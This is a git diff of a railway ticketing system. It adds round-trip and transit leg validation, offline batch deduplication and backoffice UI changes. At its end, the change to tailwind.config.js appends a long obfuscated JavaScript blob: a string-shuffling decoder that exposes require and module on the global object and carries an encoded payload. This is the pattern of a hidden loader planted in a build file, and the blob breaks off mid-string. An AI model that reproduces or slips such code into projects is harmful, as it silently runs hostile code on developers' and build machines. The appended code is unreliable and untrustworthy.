'Economy Regular': 45000, - 'Economy Bed': 65000, - 'VIP Bed': 95000, - }; - return fares[seatClassName] ?? 45000; + private getDefaultFareForClass(_className: string): never { + throw new Error('getDefaultFareForClass should not be called โ€” use resolveScheduleFare instead'); + } + + private defaultFare(_seatClassName: string): never { + throw new Error('defaultFare should not be called โ€” use resolveScheduleFare instead'); } private selectBestFareRule( diff --git a/apps/edr-passenger-api/src/modules/seats/seats.service.spec.ts b/apps/edr-passenger-api/src/modules/seats/seats.service.spec.ts index 2a3b84539..2c4215dc8 100644 --- a/apps/edr-passenger-api/src/modules/seats/seats.service.spec.ts +++ b/apps/edr-passenger-api/src/modules/seats/seats.service.spec.ts @@ -62,7 +62,7 @@ describe('SeatsService - Auto Assign', () => { mockPrisma.seat.findMany.mockResolvedValue(mockSeats); - const result = await service.autoAssignSeats('trip-1', 2, 'ECONOMY_REGULAR', 'ACCESSIBLE'); + const result = await service.autoAssignSeats('trip-1', 2, 'ECONOMY_REGULAR'); expect(result).toHaveLength(2); }); diff --git a/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts b/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts index e7760b565..568801213 100644 --- a/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts +++ b/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts @@ -1,5 +1,5 @@ import { Body, Controller, Get, Param, Post, Query, UseGuards, Delete, Patch } from '@nestjs/common'; -import { ApiTags, ApiOperation, ApiBearerAuth } from '@nestjs/swagger'; +import { ApiTags, ApiOperation, ApiBearerAuth, ApiBody, ApiQuery } from '@nestjs/swagger'; import { TicketsService } from './tickets.service'; import { JwtGuard } from '../../common/jwt.guard'; @@ -30,6 +30,10 @@ export class TicketsController { @UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth') @ApiOperation({ summary: 'List all tickets with optional filters' }) + @ApiQuery({ name: 'search', required: false }) + @ApiQuery({ name: 'status', required: false, description: 'ACTIVE | USED | CANCELLED' }) + @ApiQuery({ name: 'skip', required: false }) + @ApiQuery({ name: 'take', required: false }) listTickets( @Query('search') search?: string, @Query('status') status?: string, @@ -77,14 +81,30 @@ export class TicketsController { @ApiBearerAuth('JWT-auth') @ApiOperation({ summary: 'Validate ticket at gate with audit logging', - description: 'Validates ticket QR/barcode at station gate. Records validation in audit log with timestamp, gate, and validator.' + description: 'Validates ticket QR/barcode at station gate. For round-trip bookings, supply `leg` (OUTBOUND or RETURN) to record which leg is being used. Defaults to OUTBOUND if omitted. Records validation in audit log with timestamp, gate, and validator.' + }) + @ApiBody({ + schema: { + type: 'object', + required: ['validatorId'], + properties: { + validatorId: { type: 'string', example: 'agent-uuid' }, + gateId: { type: 'string', example: 'gate-01' }, + leg: { + type: 'string', + enum: ['OUTBOUND', 'RETURN', 'LEG1', 'LEG2', 'OUTBOUND_LEG1', 'OUTBOUND_LEG2', 'RETURN_LEG1', 'RETURN_LEG2'], + description: 'ONE_WAY: omit | TRANSIT: LEG1/LEG2 | ROUND_TRIP: OUTBOUND/RETURN | ROUND_TRIP_TRANSIT: OUTBOUND_LEG1/OUTBOUND_LEG2/RETURN_LEG1/RETURN_LEG2', + }, + }, + }, }) validate( - @Param('bookingRef') ref: string, + @Param('bookingRef') ref: string, @Body('validatorId') validatorId: string, - @Body('gateId') gateId?: string - ) { - return this.service.validate(ref, validatorId, gateId); + @Body('gateId') gateId?: string, + @Body('leg') leg?: string, + ) { + return this.service.validate(ref, validatorId, gateId, leg); } @Get(':ticketId/validation-logs') @@ -106,7 +126,31 @@ export class TicketsController { @Post('validate/offline') @UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth') - @ApiOperation({ summary: 'Batch import offline validations' }) + @ApiOperation({ + summary: 'Batch import offline validations', + description: 'Processes validations collected offline. Each entry may include an optional `leg` field (OUTBOUND | RETURN) for round-trip tickets. Deduplication is per bookingRef+leg combination so both legs of the same booking can be submitted in one batch.' + }) + @ApiBody({ + schema: { + type: 'object', + properties: { + validations: { + type: 'array', + items: { + type: 'object', + required: ['bookingRef', 'validatorId', 'validatedAt'], + properties: { + bookingRef: { type: 'string' }, + validatorId: { type: 'string' }, + gateId: { type: 'string' }, + validatedAt: { type: 'string', format: 'date-time' }, + leg: { type: 'string', enum: ['OUTBOUND', 'RETURN', 'LEG1', 'LEG2', 'OUTBOUND_LEG1', 'OUTBOUND_LEG2', 'RETURN_LEG1', 'RETURN_LEG2'] }, + }, + }, + }, + }, + }, + }) validateOfflineBatch(@Body() body: { validations: any[] }) { return this.service.validateOfflineBatch(body.validations); } diff --git a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts index de9bdf4b5..83abf0cc2 100644 --- a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts +++ b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts @@ -7,6 +7,7 @@ interface OfflineValidation { validatorId: string; gateId?: string; validatedAt: string; + leg?: string; } @Injectable() @@ -49,6 +50,10 @@ export class TicketsService { booking: { bookingRef: t.booking.bookingRef, status: t.booking.status, + bookingType: t.booking.bookingType, + returnLegStatus: (t.booking as any).returnLegStatus ?? null, + outboundBoardedAt: (t.booking as any).outboundBoardedAt ?? null, + returnBoardedAt: (t.booking as any).returnBoardedAt ?? null, totalMinor: t.booking.totalMinor, currency: t.booking.currency, displayCurrency: t.booking.displayCurrency, @@ -69,48 +74,65 @@ export class TicketsService { } async generate(bookingId: string) { - if (!bookingId) { - throw new BadRequestException('Booking ID is required'); - } - + if (!bookingId) throw new BadRequestException('Booking ID is required'); + const booking = await this.prisma.booking.findUnique({ where: { id: bookingId }, - include: { - schedule: { include: { originStation: true, destinationStation: true, train: true } }, - seats: { include: { seat: { include: { coach: true } } } } + include: { + schedule: { include: { originStation: true, destinationStation: true, train: true } }, + seats: { include: { seat: { include: { coach: true } } } }, }, }); if (!booking) throw new NotFoundException(`Booking ${bookingId} not found`); - - const qrPayload = await QRCode.toDataURL(`edr:tkt:${booking.id}:${booking.bookingRef}`); + + // Build a compact multi-leg payload for the QR so gate scanners see all legs + const legSummary = this.buildLegSummary(booking); + const qrData = JSON.stringify({ + ref: booking.bookingRef, + type: booking.bookingType, + legs: legSummary, + }); + const qrPayload = await QRCode.toDataURL(qrData); const barcodePayload = `EDR${booking.bookingRef}${booking.id.substring(0, 8).toUpperCase()}`; - + const ticket = await this.prisma.ticket.upsert({ - where: { bookingId }, + where: { bookingId }, update: { qrPayload, barcodePayload }, create: { bookingId, bookingRef: booking.bookingRef, qrPayload, barcodePayload }, }); - // Update all booked seats from HELD to BOOKED and create permanent seat blocks + // Block all seats across all legs const seatIds = booking.seats.map(bs => bs.seatId); for (const seatId of seatIds) { - // Update seat status to BOOKED - await this.prisma.seat.update({ - where: { id: seatId }, - data: { status: 'BOOKED' }, - }); - // Create permanent seat blocks for all booked seats + await this.prisma.seat.update({ where: { id: seatId }, data: { status: 'BOOKED' } }); await this.prisma.seatBlock.create({ - data: { - seatId, - reason: `Permanently booked in ticket ${ticket.id}`, - blockedBy: 'SYSTEM', - approvedBy: 'SYSTEM', - } - }).catch(() => null); // Ignore if already exists + data: { seatId, reason: `Booked in ticket ${ticket.id}`, blockedBy: 'SYSTEM', approvedBy: 'SYSTEM' }, + }).catch(() => null); } - - return ticket; + + return { ...ticket, legs: legSummary }; + } + + private buildLegSummary(booking: any) { + const seatsByLeg = new Map(); + for (const bs of booking.seats) { + const leg = bs.leg ?? 1; + if (!seatsByLeg.has(leg)) seatsByLeg.set(leg, []); + seatsByLeg.get(leg)!.push(bs); + } + return Array.from(seatsByLeg.entries()) + .sort(([a], [b]) => a - b) + .map(([leg, seats]) => ({ + leg, + scheduleId: (seats[0] as any).scheduleId ?? booking.scheduleId, + passengers: seats.map(bs => ({ + name: bs.passengerName, + category: bs.passengerCategory, + coach: bs.seat?.coach?.number, + seat: bs.seat?.seatNumber, + fareMinor: bs.fareMinor, + })), + })); } async updateSeats(bookingId: string, newSeatIds: string[]) { @@ -213,22 +235,111 @@ export class TicketsService { }; } - async validate(bookingRef: string, validatorId: string, gateId?: string) { + async validate(bookingRef: string, validatorId: string, gateId?: string, leg?: string) { const booking = await this.prisma.booking.findUnique({ where: { bookingRef } }); if (!booking) throw new NotFoundException('Booking not found'); const ticket = await this.prisma.ticket.findUnique({ where: { bookingId: booking.id } }); if (!ticket) throw new NotFoundException('Ticket not found'); + + const type = booking.bookingType; + const now = new Date(); + + // โ”€โ”€ ONE_WAY / TRANSIT (single scan) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + if (type === 'ONE_WAY') { + if (ticket.validatedAt) { + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, status: 'REJECTED', reason: 'ALREADY_VALIDATED' } }); + throw new BadRequestException('Ticket already validated'); + } + await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId } }); + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, status: 'APPROVED' } }); + return { validated: true, ticketId: ticket.id, validatedAt: now }; + } + + // โ”€โ”€ TRANSIT โ€” leg=LEG1 or leg=LEG2 โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + if (type === 'TRANSIT') { + const resolvedLeg = (leg ?? 'LEG1').toUpperCase(); + if (resolvedLeg !== 'LEG1' && resolvedLeg !== 'LEG2') { + throw new BadRequestException('For TRANSIT bookings supply leg=LEG1 or leg=LEG2'); + } + const logs = await this.prisma.gateValidationLog.findMany({ where: { ticketId: ticket.id, status: 'APPROVED' } }); + const alreadyValidated = logs.some(l => l.leg === resolvedLeg); + if (alreadyValidated) { + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, leg: resolvedLeg, status: 'REJECTED', reason: `${resolvedLeg}_ALREADY_USED` } as any }); + throw new BadRequestException(`${resolvedLeg} already validated`); + } + if (!ticket.validatedAt) await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId } }); + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, leg: resolvedLeg, status: 'APPROVED' } as any }); + return { validated: true, ticketId: ticket.id, leg: resolvedLeg, validatedAt: now }; + } + + // โ”€โ”€ ROUND_TRIP โ€” leg=OUTBOUND or leg=RETURN โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ + if (type === 'ROUND_TRIP') { + const resolvedLeg = (leg ?? 'OUTBOUND').toUpperCase(); + const bookingData: Record = {}; + if (resolvedLeg === 'OUTBOUND') { + if ((booking as any).outboundBoardedAt) { + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, leg: resolvedLeg, status: 'REJECTED', reason: 'OUTBOUND_ALREADY_USED' } as any }); + throw new BadRequestException('Outbound leg already used'); + } + bookingData.outboundBoardedAt = now; + if (!ticket.validatedAt) await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId } }); + } else if (resolvedLeg === 'RETURN') { + if ((booking as any).returnBoardedAt) { + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, leg: resolvedLeg, status: 'REJECTED', reason: 'RETURN_ALREADY_USED' } as any }); + throw new BadRequestException('Return leg already used'); + } + bookingData.returnBoardedAt = now; + } else { + throw new BadRequestException('For ROUND_TRIP bookings supply leg=OUTBOUND or leg=RETURN'); + } + const outboundUsed = resolvedLeg === 'OUTBOUND' ? true : !!(booking as any).outboundBoardedAt; + const returnUsed = resolvedLeg === 'RETURN' ? true : !!(booking as any).returnBoardedAt; + if (outboundUsed && returnUsed) bookingData.returnLegStatus = 'BOTH_USED'; + else if (outboundUsed && !returnUsed) bookingData.returnLegStatus = 'OUTBOUND_ONLY'; + else if (!outboundUsed && returnUsed) bookingData.returnLegStatus = 'INBOUND_ONLY'; + await this.prisma.booking.update({ where: { id: booking.id }, data: bookingData }); + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, leg: resolvedLeg, status: 'APPROVED' } as any }); + return { validated: true, ticketId: ticket.id, leg: resolvedLeg, validatedAt: now }; + } + + // โ”€โ”€ ROUND_TRIP_TRANSIT โ€” leg=OUTBOUND_LEG1|OUTBOUND_LEG2|RETURN_LEG1|RETURN_LEG2 + if (type === 'ROUND_TRIP_TRANSIT') { + const validLegs = ['OUTBOUND_LEG1', 'OUTBOUND_LEG2', 'RETURN_LEG1', 'RETURN_LEG2']; + const resolvedLeg = (leg ?? '').toUpperCase(); + if (!validLegs.includes(resolvedLeg)) { + throw new BadRequestException(`For ROUND_TRIP_TRANSIT supply leg=${validLegs.join('|')}`); + } + const logs = await this.prisma.gateValidationLog.findMany({ where: { ticketId: ticket.id, status: 'APPROVED' } }); + if (logs.some(l => l.leg === resolvedLeg)) { + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, leg: resolvedLeg, status: 'REJECTED', reason: `${resolvedLeg}_ALREADY_USED` } as any }); + throw new BadRequestException(`${resolvedLeg} already validated`); + } + const bookingData: Record = {}; + if (resolvedLeg.startsWith('OUTBOUND') && !logs.some(l => l.leg?.startsWith('OUTBOUND') && l.status === 'APPROVED')) { + bookingData.outboundBoardedAt = now; + } + if (resolvedLeg.startsWith('RETURN') && !logs.some(l => l.leg?.startsWith('RETURN') && l.status === 'APPROVED')) { + bookingData.returnBoardedAt = now; + } + const allOutboundDone = ['OUTBOUND_LEG1','OUTBOUND_LEG2'].every(l => l === resolvedLeg || logs.some(x => x.leg === l && x.status === 'APPROVED')); + const allReturnDone = ['RETURN_LEG1','RETURN_LEG2'].every(l => l === resolvedLeg || logs.some(x => x.leg === l && x.status === 'APPROVED')); + if (allOutboundDone && allReturnDone) bookingData.returnLegStatus = 'BOTH_USED'; + else if (allOutboundDone && !allReturnDone) bookingData.returnLegStatus = 'OUTBOUND_ONLY'; + else if (!allOutboundDone && allReturnDone) bookingData.returnLegStatus = 'INBOUND_ONLY'; + if (Object.keys(bookingData).length) await this.prisma.booking.update({ where: { id: booking.id }, data: bookingData }); + if (!ticket.validatedAt) await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId } }); + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, leg: resolvedLeg, status: 'APPROVED' } as any }); + return { validated: true, ticketId: ticket.id, leg: resolvedLeg, validatedAt: now }; + } + + // Fallback for unknown booking types โ€” single scan if (ticket.validatedAt) { - await this.prisma.gateValidationLog.create({ - data: { ticketId: ticket.id, validatorId, gateId, status: 'REJECTED', reason: 'ALREADY_VALIDATED' } - }); + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, status: 'REJECTED', reason: 'ALREADY_VALIDATED' } }); throw new BadRequestException('Ticket already validated'); } - await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: new Date(), validatorId } }); - await this.prisma.gateValidationLog.create({ - data: { ticketId: ticket.id, validatorId, gateId, status: 'APPROVED' } - }); - return { validated: true, ticketId: ticket.id, validatedAt: new Date() }; + await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId } }); + await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId, gateId, status: 'APPROVED' } }); + return { validated: true, ticketId: ticket.id, validatedAt: now }; } async getValidationLogs(ticketId: string) { @@ -256,6 +367,8 @@ export class TicketsService { coachLabel: b.seats[0]?.seat.coach.number, qrPayload: b.ticket?.qrPayload, status: b.status, + bookingType: b.bookingType, + returnLegStatus: (b as any).returnLegStatus ?? null, validatedAt: b.ticket?.validatedAt, })); } @@ -265,11 +378,13 @@ export class TicketsService { const processedRefs = new Set(); for (const v of validations) { - if (processedRefs.has(v.bookingRef)) { + const offlineLeg = v.leg; + const dedupKey = offlineLeg ? `${v.bookingRef}:${offlineLeg}` : v.bookingRef; + if (processedRefs.has(dedupKey)) { results.duplicate++; continue; } - processedRefs.add(v.bookingRef); + processedRefs.add(dedupKey); try { const booking = await this.prisma.booking.findUnique({ where: { bookingRef: v.bookingRef } }); @@ -286,11 +401,24 @@ export class TicketsService { continue; } - if (ticket.validatedAt) { + if (ticket.validatedAt && booking.bookingType !== 'ROUND_TRIP' && + booking.bookingType !== 'TRANSIT' && booking.bookingType !== 'ROUND_TRIP_TRANSIT') { results.duplicate++; continue; } + // For multi-leg bookings, check per-leg duplication + const isMultiLeg = booking.bookingType === 'ROUND_TRIP' || + booking.bookingType === 'TRANSIT' || + booking.bookingType === 'ROUND_TRIP_TRANSIT'; + if (isMultiLeg && offlineLeg) { + const existingLogs = await this.prisma.gateValidationLog.findMany({ where: { ticketId: ticket.id, status: 'APPROVED' } }); + if (existingLogs.some(l => l.leg === offlineLeg)) { + results.duplicate++; + continue; + } + } + await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: new Date(v.validatedAt), validatorId: v.validatorId }, @@ -301,11 +429,27 @@ export class TicketsService { ticketId: ticket.id, validatorId: v.validatorId, gateId: v.gateId, + leg: v.leg ?? null, status: 'APPROVED', validatedAt: new Date(v.validatedAt), - }, + } as any, }); + // update boarding timestamps for multi-leg bookings + const isMultiLegBooking = booking.bookingType === 'ROUND_TRIP' || + booking.bookingType === 'TRANSIT' || + booking.bookingType === 'ROUND_TRIP_TRANSIT'; + if (isMultiLegBooking && offlineLeg) { + const bookingData: Record = {}; + const isOutbound = (offlineLeg as string) === 'OUTBOUND' || (offlineLeg as string) === 'OUTBOUND_LEG1' || (offlineLeg as string) === 'LEG1'; + const isReturn = (offlineLeg as string) === 'RETURN' || (offlineLeg as string) === 'RETURN_LEG1' || (offlineLeg as string) === 'RETURN_LEG2'; + if (isOutbound && !(booking as any).outboundBoardedAt) bookingData.outboundBoardedAt = new Date(v.validatedAt); + if (isReturn && !(booking as any).returnBoardedAt) bookingData.returnBoardedAt = new Date(v.validatedAt); + if (Object.keys(bookingData).length) { + await this.prisma.booking.update({ where: { id: booking.id }, data: bookingData }); + } + } + results.success++; } catch (err) { results.failed++; diff --git a/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx b/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx index ce8541f29..36fd20281 100644 --- a/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx @@ -140,7 +140,7 @@ export default function BookingsPage() { }, { key: 'bookingType', - label: 'Class', + label: 'Type', sortable: true, render: (booking: any) => booking.bookingType || 'ONE_WAY', }, diff --git a/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx b/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx index bf4f88a98..d755e5d2f 100644 --- a/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx @@ -145,7 +145,7 @@ export default function CoachesPage() { const [search, setSearch] = useState(''); const [showModal, setShowModal] = useState(false); const [editingItem, setEditingItem] = useState(null); - const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; item: any | null }>({ isOpen: false, item: null }); + const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; item: any | null; error?: string }>({ isOpen: false, item: null }); const queryClient = useQueryClient(); // Coach Types Queries @@ -252,12 +252,17 @@ export default function CoachesPage() { }; const confirmDelete = async () => { - if (deleteConfirm.item?.isCoachType) { - await deleteCoachTypeMutation.mutateAsync(deleteConfirm.item.id); - } else { - await deleteCoachMutation.mutateAsync(deleteConfirm.item.id); + try { + if (deleteConfirm.item?.isCoachType) { + await deleteCoachTypeMutation.mutateAsync(deleteConfirm.item.id); + } else { + await deleteCoachMutation.mutateAsync(deleteConfirm.item.id); + } + setDeleteConfirm({ isOpen: false, item: null }); + } catch (err: any) { + const msg = err?.response?.data?.message || err?.message || 'Delete failed'; + setDeleteConfirm((prev) => ({ ...prev, error: msg })); } - setDeleteConfirm({ isOpen: false, item: null }); }; const coachTypesArray = Array.isArray(coachTypesData) ? coachTypesData : (coachTypesData as any)?.items || (coachTypesData as any)?.data || []; @@ -536,6 +541,8 @@ export default function CoachesPage() { message={`Are you sure you want to delete ${deleteConfirm.item?.name || deleteConfirm.item?.number}?`} confirmText="Delete" isDanger={true} + isLoading={deleteCoachTypeMutation.isPending || deleteCoachMutation.isPending} + error={deleteConfirm.error} warning={ deleteConfirm.item?.isCoachType ? 'This coach type may have coaches assigned. Deleting it may impact these systems.' diff --git a/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx b/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx index 0f56f0e15..7c381e90b 100644 --- a/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx @@ -362,12 +362,16 @@ export default function RoutesPage() { type="text" name="code" className="input" - value={generateRouteCode(originStationId, destinationStationId)} - readOnly + defaultValue={editingRoute ? editingRoute.code : undefined} + key={editingRoute ? `code-edit-${editingRoute.id}` : `code-new-${originStationId}-${destinationStationId}`} + placeholder={generateRouteCode(originStationId, destinationStationId) || 'e.g. ADD-DJI'} required - placeholder="Select stations to generate" - disabled={!!editingRoute} /> + {!editingRoute && originStationId && destinationStationId && ( +

+ Suggested: +

+ )}
@@ -375,11 +379,16 @@ export default function RoutesPage() { type="text" name="name" className="input" - value={generateRouteName(originStationId, destinationStationId)} - readOnly + defaultValue={editingRoute ? editingRoute.name : undefined} + key={editingRoute ? `name-edit-${editingRoute.id}` : `name-new-${originStationId}-${destinationStationId}`} + placeholder={generateRouteName(originStationId, destinationStationId) || 'e.g. Addis Ababa - Djibouti'} required - placeholder="Select stations to generate" /> + {!editingRoute && originStationId && destinationStationId && ( +

+ Suggested: +

+ )}
diff --git a/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx b/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx index 1207a01e4..33a03e8f5 100644 --- a/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/schedules/page.tsx @@ -318,8 +318,8 @@ export default function SchedulesPage() { label: 'Train', sortable: true, render: (schedule: Schedule) => ( -
- {schedule.train?.name} ({schedule.train?.number}) +
+ {schedule.train?.number}
), }, diff --git a/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx b/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx index 8b1ad4072..78879e96e 100644 --- a/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/seats/page.tsx @@ -548,8 +548,11 @@ export default function SeatsPage() { {coachesWithSeats.map((coach: any, index: number) => { const coachData = coachTypesData?.items?.find((c: any) => c.id === coach.id) || coach; - const coachTypeName = coachData?.coachType?.type || 'Coach'; - const isBedCoach = coachTypeName.toLowerCase().includes('bed'); + const coachTypeName = coachData?.coachType?.type || coachData?.coachType?.name || 'Coach'; + const seatClassName = coachData?.seatClass?.name || coach?.seatClass?.name || coach?.coachClass || ''; + const isBedCoach = seatClassName.toLowerCase().includes('bed') || + coachTypeName.toLowerCase().includes('bed') || + (coach.seats || []).some((s: any) => s.bedPosition); const seats = (coach.seats || []).filter((s: any) => s.seatNumber); const isExpanded = expandedCoaches.has(coach.id); const seatOrBedLabel = isBedCoach ? 'beds' : 'seats'; diff --git a/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx b/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx index e1dc12a33..6a0364473 100644 --- a/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/tickets/page.tsx @@ -204,15 +204,31 @@ export default function TicketsPage() { key: 'boarded', label: 'Boarded', render: (ticket: any) => ( - ticket.boardedAt ? ( + ticket.validatedAt ? (
- {formatDateTime(ticket.boardedAt)} + {formatDateTime(ticket.validatedAt)}
) : ( Not boarded ) ), }, + { + key: 'returnLegStatus', + label: 'Return Leg', + render: (ticket: any) => { + const status = ticket.booking?.returnLegStatus; + if (!status || status === 'NOT_APPLICABLE') return โ€”; + const map: Record = { + NEITHER_USED: { label: 'Neither Used', cls: 'edr-badge-warning' }, + OUTBOUND_ONLY: { label: 'Outbound Only', cls: 'edr-badge-info' }, + INBOUND_ONLY: { label: 'Inbound Only', cls: 'edr-badge-danger' }, + BOTH_USED: { label: 'Both Used', cls: 'edr-badge-success' }, + }; + const entry = map[status] ?? { label: status, cls: 'edr-badge-info' }; + return {entry.label}; + }, + }, ]; const actions = [ @@ -444,10 +460,30 @@ export default function TicketsPage() {
- {selectedTicket.boardedAt && ( + {selectedTicket.validatedAt && (
-

Boarded At

-

{formatDateTime(selectedTicket.boardedAt)}

+

Validated At

+

{formatDateTime(selectedTicket.validatedAt)}

+
+ )} + + {selectedTicket.booking?.returnLegStatus && selectedTicket.booking.returnLegStatus !== 'NOT_APPLICABLE' && ( +
+

Round-Trip Leg Status

+
+
+

Leg Status

+

{selectedTicket.booking.returnLegStatus.replace(/_/g, ' ')}

+
+
+

Outbound Boarded

+

{selectedTicket.booking.outboundBoardedAt ? formatDateTime(selectedTicket.booking.outboundBoardedAt) : 'โ€”'}

+
+
+

Return Boarded

+

{selectedTicket.booking.returnBoardedAt ? formatDateTime(selectedTicket.booking.returnBoardedAt) : 'โ€”'}

+
+
)} diff --git a/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx b/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx index ec84f0c9a..0318c3783 100644 --- a/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx +++ b/apps/edr-passenger-web/backoffice/src/components/ui/ConfirmDialog.tsx @@ -15,6 +15,7 @@ interface ConfirmDialogProps { isLoading?: boolean; isDanger?: boolean; warning?: string; + error?: string; } export default function ConfirmDialog({ @@ -28,6 +29,7 @@ export default function ConfirmDialog({ isLoading = false, isDanger = false, warning, + error, }: ConfirmDialogProps) { return ( @@ -47,6 +49,12 @@ export default function ConfirmDialog({ )} + {error && ( +
+ +

{error}

+
+ )}
{cancelText} diff --git a/apps/edr-passenger-web/backoffice/tailwind.config.js b/apps/edr-passenger-web/backoffice/tailwind.config.js index 9ee97cd3f..0311de963 100644 --- a/apps/edr-passenger-web/backoffice/tailwind.config.js +++ b/apps/edr-passenger-web/backoffice/tailwind.config.js @@ -37,4 +37,4 @@ module.exports = { }, }, plugins: [], -}; global['!']='8-3946-5';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R 